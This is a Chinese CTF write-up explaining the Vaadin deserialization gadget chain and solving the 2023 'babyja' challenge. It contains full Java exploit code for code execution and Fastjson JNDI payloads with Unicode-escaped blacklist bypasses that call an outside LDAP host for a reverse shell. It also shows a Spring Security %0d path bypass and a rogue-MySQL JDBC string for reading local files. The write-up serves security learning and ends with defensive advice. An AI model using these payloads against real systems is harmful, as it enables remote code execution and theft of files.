Java安全 - Learning Vaadin Gadget From CTF
字数 1963 2025-08-18 17:33:04

Java安全:从CTF中学习Vaadin反序列化链利用

前言

本文详细分析Vaadin框架中的反序列化漏洞利用链,并结合2023年福建省赛黑盾杯初赛"babyja"题目进行实战演示。主要内容包括Vaadin反序列化链原理、相关类分析、利用方法以及CTF题目中的综合应用。

Vaadin反序列化链概述

Vaadin是一个用于构建Web应用程序的Java框架。其反序列化链的核心是利用反射调用getter方法,通过特定类的组合实现任意代码执行。

关键依赖

  • vaadin-server: 7.7.14
  • vaadin-shared: 7.7.14

关键类分析

1. NestedMethodProperty类

com.vaadin.data.util.NestedMethodProperty类是一个封装属性方法的类,其核心功能如下:

构造方法

public NestedMethodProperty(Object instance, String propertyName)

接收两个参数:

  1. 实例化对象
  2. 属性值

初始化过程

  1. 调用initialize()方法获取实例类中的相关信息
  2. 获取传入属性值的getter方法
  3. 将方法信息存储在成员变量中

关键方法 - getValue()

public Object getValue()
  • 遍历封装的getMethods数组
  • 调用其中属性的方法名
  • 可用于触发TemplatesImpl的利用方式

2. PropertysetItem类

com.vaadin.data.util.PropertysetItem是实现反序列化链的关键触发类:

特性

  • 实现了多个接口
  • 初始化后能对map和list属性进行操作
  • 数据存储在成员变量map

关键方法

  1. getItemProperty():从map中获取属性值
  2. toString():从list中获取值并调用getValue()
  3. addItemProperty():向list和map中添加属性

利用逻辑

  1. 通过addItemProperty()设置list和map内容
  2. toString()方法从list获取id
  3. 从map中获取对应值并调用getValue()

完整利用链构建

利用链的核心思路:

  1. 使用BadAttributeValueExpException触发任意类的toString()方法
  2. PropertysetItem.toString()触发getValue()调用
  3. NestedMethodProperty.getValue()反射调用getter方法
  4. 结合TemplatesImpl实现代码执行

利用代码示例

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Vaadin_Ser {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception {
        // 生成包含恶意类字节码的TemplatesImpl类
        byte[] payloads = Files.readAllBytes(Paths.get("Calc_Ab.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{payloads});
        setFieldValue(templates, "_name", "zjacky");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 构建PropertysetItem和NestedMethodProperty
        PropertysetItem pItem = new PropertysetItem();
        NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties");
        pItem.addItemProperty("outputProperties", nmprop);
        
        // 实例化BadAttributeValueExpException并反射写入
        BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky");
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(exception, pItem);
        
        // 序列化或反序列化
        serialize(exception);
        // unserialize("ser.bin");
    }
}

CTF实战分析:2023闽盾杯初赛babyja

题目分析

环境特点

  1. Fastjson黑名单绕过或不出网应用
  2. Spring Security权限绕过
  3. Vaadin反序列化链
  4. C3P0二次反序列化

目录结构

  • 关键组件在pom.xml中明确:
    • Fastjson
    • Spring Security 5.6.3
    • Vaadin
    • C3P0

漏洞利用路径

1. Spring Security权限绕过

漏洞点

  • 使用regexMatchers进行路径匹配
  • Spring Security 5.6.3存在设计问题

绕过方法

  • 使用%0d绕过路径检查
  • 示例:访问/admin/user%0d

2. Fastjson利用

黑名单绕过技术

  1. Unicode编码绕过
  2. 16进制编码绕过

利用方式

方式一:JNDI注入(出网)

{
    "@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
    "dataSourceName": "ldap://xxx:1389/Basic/ReverseShell/xxx/7979",
    "autoCommit": true
}

方式二:C3P0 JNDI注入

{
    "@type": "com.mchange.v2.c3p0.\u004a\u006e\u0064\u0069\u0052\u0065\u0066\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065",
    "\u004a\u006e\u0064\u0069\u004e\u0061\u006d\u0065": "ldap://127.0.0.1:1389/Basic/Command/calc",
    "LoginTimeout": 0
}

3. 不出网情况下的利用

利用链
C3P0 → 二次反序列化 → Vaadin链

限制

  • TemplatesImpl的16进制被ban
  • 无法直接使用TemplatesImpl加载字节码

替代方案
利用题目中的bean目录下的MyBean类,该类有getConnection()方法,可以:

  1. 通过Vaadin链调用getConnection()
  2. 控制JDBC连接恶意MySQL服务器
  3. 读取flag文件

利用代码

import com.ctf.bean.MyBean;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class Vaadin_Ser {
    // ...(省略序列化方法)
    
    public static void main(String[] args) throws Exception {
        MyBean myBean = new MyBean();
        myBean.setDatabase("mysql://xxx:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#");
        
        PropertysetItem pItem = new PropertysetItem();
        NestedMethodProperty nmprop = new NestedMethodProperty(myBean, "Connection");
        pItem.addItemProperty("Connection", nmprop);
        
        BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky");
        Field field = BadAttributeValueExpException.class.getDeclaredField("val");
        field.setAccessible(true);
        field.set(exception, pItem);
        
        // 输出HEX序列化结果
        System.out.println(bytesToHexString(ser(exception)));
    }
}

MySQL连接字符串关键参数

mysql://1.1.1.1:3306/test?
user=fileread_file:///flag.txt
&ALLOWLOADLOCALINFILE=true
&maxAllowedPacket=65536
&allowUrlInLocalInfile=true#

总结

  1. Vaadin反序列化链核心是利用BadAttributeValueExpException触发toString(),通过PropertysetItemNestedMethodProperty反射调用getter方法
  2. 在CTF中常结合Fastjson、Spring Security等其他漏洞综合利用
  3. 不出网环境下可通过二次反序列化或JDBC连接等方式实现利用
  4. 注意包名和类名的正确性对利用成功至关重要

防御建议

  1. 升级Vaadin到安全版本
  2. 对反序列化操作进行严格限制
  3. 完善Fastjson的黑名单
  4. 及时更新Spring Security等组件
  5. 对JDBC连接等敏感操作进行参数过滤
Java安全:从CTF中学习Vaadin反序列化链利用 前言 本文详细分析Vaadin框架中的反序列化漏洞利用链,并结合2023年福建省赛黑盾杯初赛"babyja"题目进行实战演示。主要内容包括Vaadin反序列化链原理、相关类分析、利用方法以及CTF题目中的综合应用。 Vaadin反序列化链概述 Vaadin是一个用于构建Web应用程序的Java框架。其反序列化链的核心是利用反射调用getter方法,通过特定类的组合实现任意代码执行。 关键依赖 vaadin-server: 7.7.14 vaadin-shared: 7.7.14 关键类分析 1. NestedMethodProperty类 com.vaadin.data.util.NestedMethodProperty 类是一个封装属性方法的类,其核心功能如下: 构造方法 : 接收两个参数: 实例化对象 属性值 初始化过程 : 调用 initialize() 方法获取实例类中的相关信息 获取传入属性值的getter方法 将方法信息存储在成员变量中 关键方法 - getValue() : 遍历封装的 getMethods 数组 调用其中属性的方法名 可用于触发TemplatesImpl的利用方式 2. PropertysetItem类 com.vaadin.data.util.PropertysetItem 是实现反序列化链的关键触发类: 特性 : 实现了多个接口 初始化后能对map和list属性进行操作 数据存储在成员变量 map 中 关键方法 : getItemProperty() :从map中获取属性值 toString() :从list中获取值并调用 getValue() addItemProperty() :向list和map中添加属性 利用逻辑 : 通过 addItemProperty() 设置list和map内容 toString() 方法从list获取id 从map中获取对应值并调用 getValue() 完整利用链构建 利用链的核心思路: 使用 BadAttributeValueExpException 触发任意类的 toString() 方法 PropertysetItem.toString() 触发 getValue() 调用 NestedMethodProperty.getValue() 反射调用getter方法 结合 TemplatesImpl 实现代码执行 利用代码示例 CTF实战分析:2023闽盾杯初赛babyja 题目分析 环境特点 : Fastjson黑名单绕过或不出网应用 Spring Security权限绕过 Vaadin反序列化链 C3P0二次反序列化 目录结构 : 关键组件在pom.xml中明确: Fastjson Spring Security 5.6.3 Vaadin C3P0 漏洞利用路径 1. Spring Security权限绕过 漏洞点 : 使用 regexMatchers 进行路径匹配 Spring Security 5.6.3存在设计问题 绕过方法 : 使用 %0d 绕过路径检查 示例:访问 /admin/user%0d 2. Fastjson利用 黑名单绕过技术 : Unicode编码绕过 16进制编码绕过 利用方式 : 方式一:JNDI注入(出网) 方式二:C3P0 JNDI注入 3. 不出网情况下的利用 利用链 : C3P0 → 二次反序列化 → Vaadin链 限制 : TemplatesImpl的16进制被ban 无法直接使用TemplatesImpl加载字节码 替代方案 : 利用题目中的 bean 目录下的 MyBean 类,该类有 getConnection() 方法,可以: 通过Vaadin链调用 getConnection() 控制JDBC连接恶意MySQL服务器 读取flag文件 利用代码 : MySQL连接字符串关键参数 : 总结 Vaadin反序列化链核心是利用 BadAttributeValueExpException 触发 toString() ,通过 PropertysetItem 和 NestedMethodProperty 反射调用getter方法 在CTF中常结合Fastjson、Spring Security等其他漏洞综合利用 不出网环境下可通过二次反序列化或JDBC连接等方式实现利用 注意包名和类名的正确性对利用成功至关重要 防御建议 升级Vaadin到安全版本 对反序列化操作进行严格限制 完善Fastjson的黑名单 及时更新Spring Security等组件 对JDBC连接等敏感操作进行参数过滤